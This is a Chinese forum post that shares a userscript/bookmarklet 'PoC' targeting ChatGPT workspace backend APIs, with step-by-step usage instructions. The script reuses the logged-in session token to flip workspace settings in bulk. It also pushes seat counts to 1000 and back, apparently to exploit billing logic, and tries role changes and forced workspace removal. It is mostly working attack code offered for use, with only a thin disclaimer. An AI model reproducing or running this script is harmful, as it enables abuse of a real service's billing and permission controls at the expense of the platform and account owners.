GTP{999席位焚决}百分百炸车《只是学习他脚本和思路》
注意炸弹车将
100%会在1-8h内弹出账单炸车——必定损失20刀。如果想了解详细情况,可以看doc
使用方式:
打开文件:/Downloads/message (2).txt,油猴脚本也行
复制里面完整内容,必须从:
javascript:(async()=>...
一直复制到最后。
浏览器新建书签:
名称随便填,比如:WDD测试
网址/URL 填刚才复制的整段 javascript:...
打开并登录目标网页,例如 ChatGPT 网页。
注意:不要在 localhost:5180 运行,这个脚本调用的是当前网页域名下的:
/api/auth/session
/backend-api/...
所以必须在对应登录站点页面执行。
登录后点击刚才创建的书签。
页面右上角会出现一个浮层:WDD-配置与越权
按钮含义:
Quick(单):修改当前选中 workspace 的配置。
Quick(全):批量修改所有可见 workspace 配置。
Onboard(单):标记当前 workspace onboarding 已完成。
Onboard(全):批量标记 onboarding。
席位 1000→n:尝试把席位改成 1000,再改回小数量。这个是最危险的测试点。
Owner 转 Admin:尝试修改当前用户角色。
强行退出工作区:尝试把当前用户从 workspace 删除。
建议测试方式:
先开浏览器开发者工具。
切到 Network。
勾选 Preserve log。
点击脚本按钮。
看接口返回:
401/403:权限不够,漏洞不成立。
200/204:请求成功。
成功后还要刷新页面确认状态是否真的变化。
不要先点这两个:
席位 1000→n
强行退出工作区
poc
// ==UserScript==
// @name ChatGPT Workspace Admin (WDD)
// @namespace https://github.com/wdd
// @version 1.0.0
// @description ChatGPT 工作区配置与越权管理工具 — Quick配置、Onboard标记、席位修改、角色降级、强制退出
// @author WDD
// @match https://chatgpt.com/*
// @match https://chat.openai.com/*
// @icon https://www.google.com/s2/favicons?sz=64&domain=chatgpt.com
// @grant none
// @run-at document-end
// ==/UserScript==
(function() {
'use strict';
if (window.w3b) return;
window.w3b = 1;
let tk = '',
ws = '',
ac = [];
const rq = async (u, o = {}, s = ws) => {
if (!tk) tk = (await (await fetch('/api/auth/session')).json()).accessToken;
let r = await fetch(u, {
...o,
headers: {
...o.headers,
authorization: 'Bearer ' + tk,
'content-type': 'application/json',
'chatgpt-account-id': s
}
});
if (!r.ok) throw await r.text();
return r.json().catch(() => ({}));
};
const u = document.createElement('div');
u.style.cssText = 'position:fixed;top:20px;right:20px;width:300px;background:#f9f9f9;border:1px solid #ddd;padding:15px;z-index:9e5;box-shadow:0 5px 15px rgba(0,0,0,.2);border-radius:10px;font-size:12px;color:#333';
u.innerHTML = '<b>WDD-配置与越权</b><button id=xb style="float:right;cursor:pointer">✕</button><br><br><select id=wsb style="width:100%;margin-bottom:10px;padding:4px"></select><div style="display:grid;grid-template-columns:1fr 1fr;gap:6px"><button id=qc>Quick(单)</button><button id=qa>Quick(全)</button><button id=oc>Onboard(单)</button><button id=oa>Onboard(全)</button><button id=s1>席位 1000→n</button><button id=oa2>Owner 转 Admin</button><button id=lv style="color:red;grid-column:span 2">强行退出工作区</button></div><div id=mb style="margin-top:10px;color:#16a34a;max-height:100px;overflow:auto;font-weight:bold">等待指令...</div>';
document.body.appendChild(u);
const $ = id => document.getElementById(id),
msg = (t, a = 0) => {
$('mb').style.color = t.includes('FAIL') ? '#ef4444' : '#16a34a';
$('mb').innerHTML = a ? $('mb').innerHTML + '<br>' + t : t;
$('mb').scrollTop = $('mb').scrollHeight;
};
$('xb').onclick = () => {
u.remove();
window.w3b = 0;
};
rq('/backend-api/accounts/check/v4-2023-04-27?timezone_offset_min=0').then(d => {
ac = Object.entries(d.accounts || {}).map(([i, a]) => ({ id: i, a }));
let h = '';
ac.forEach(x => h += `<option value="${x.id}">${x.a.account?.name || x.id}</option>`);
$('wsb').innerHTML = h;
ws = $('wsb').value;
msg('就绪');
});
$('wsb').onchange = e => ws = e.target.value;
const qs = async (s) => {
for (let k of ['workspace_discoverable', 'auto_accept_requests', 'auto_provision'])
await rq(`/backend-api/accounts/${s}/settings/${k}`, {
method: 'POST',
body: JSON.stringify(k === 'workspace_discoverable' ? { value: !0, use_workspace_name_for_discovery: !0 } : { value: !0 })
}, s);
};
$('qc').onclick = async () => {
try {
msg('Quick配置中...');
await qs(ws);
msg('Quick完成');
} catch (e) {
msg('FAIL:' + e);
}
};
$('qa').onclick = async () => {
msg('批量Quick...');
for (let x of ac) {
if (x.a.account?.account_id) {
try {
await qs(x.a.account.account_id);
msg(`OK:${x.id}`, 1);
} catch (e) {
msg(`FAIL:${e}`, 1);
}
}
}
};
const ob = async (s) => {
for (let k of ['oai/apps/hasSeenOnboarding', 'oai/apps/hasSeenOnboardingFlow'])
await rq(`/backend-api/settings/announcement_viewed?announcement_id=${k}`, { method: 'POST' }, s);
};
$('oc').onclick = async () => {
try {
msg('标记Onboard...');
await ob(ws);
msg('Onboard完成');
} catch (e) {
msg('FAIL:' + e);
}
};
$('oa').onclick = async () => {
msg('批量Onboard...');
for (let x of ac) {
if (x.a.account?.account_id) {
try {
await ob(x.a.account.account_id);
msg(`OK:${x.id}`, 1);
} catch (e) {
msg(`FAIL:${e}`, 1);
}
}
}
};
$('s1').onclick = async () => {
try {
msg('获取席位...');
let d = await rq(`/backend-api/subscriptions?account_id=${ws}`, {}, ws);
let t = d.seats_entitled + 1;
if (t > 5) return msg('FAIL:当前席位>5不执行');
await rq('/backend-api/subscriptions/update', { method: 'POST', body: JSON.stringify({ account_id: ws, updated_seats: 1000 }) }, ws);
setTimeout(async () => {
await rq('/backend-api/subscriptions/update', { method: 'POST', body: JSON.stringify({ account_id: ws, updated_seats: t }) }, ws);
msg('席位修改完成:1000->' + t, 1);
}, 15);
msg('已触发修改');
} catch (e) {
msg('FAIL:' + e);
}
};
$('oa2').onclick = async () => {
try {
msg('请求降级...');
let u = (await (await fetch('/api/auth/session')).json()).user.id;
await rq(`/backend-api/accounts/${ws}/users/${u}`, { method: 'PATCH', body: JSON.stringify({ role: 'account-admin' }) }, ws);
msg('Patch请求已发');
} catch (e) {
msg('FAIL:' + e);
}
};
$('lv').onclick = async () => {
if (!confirm('确定强制退出?')) return;
try {
msg('发起退出...');
let u = (await (await fetch('/api/auth/session')).json()).user.id;
await rq(`/backend-api/accounts/${ws}/users/${u}`, { method: 'DELETE' }, ws);
msg('请求已发,请刷新');
} catch (e) {
msg('FAIL:' + e);
}
};
})();
温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。
涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。
如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。
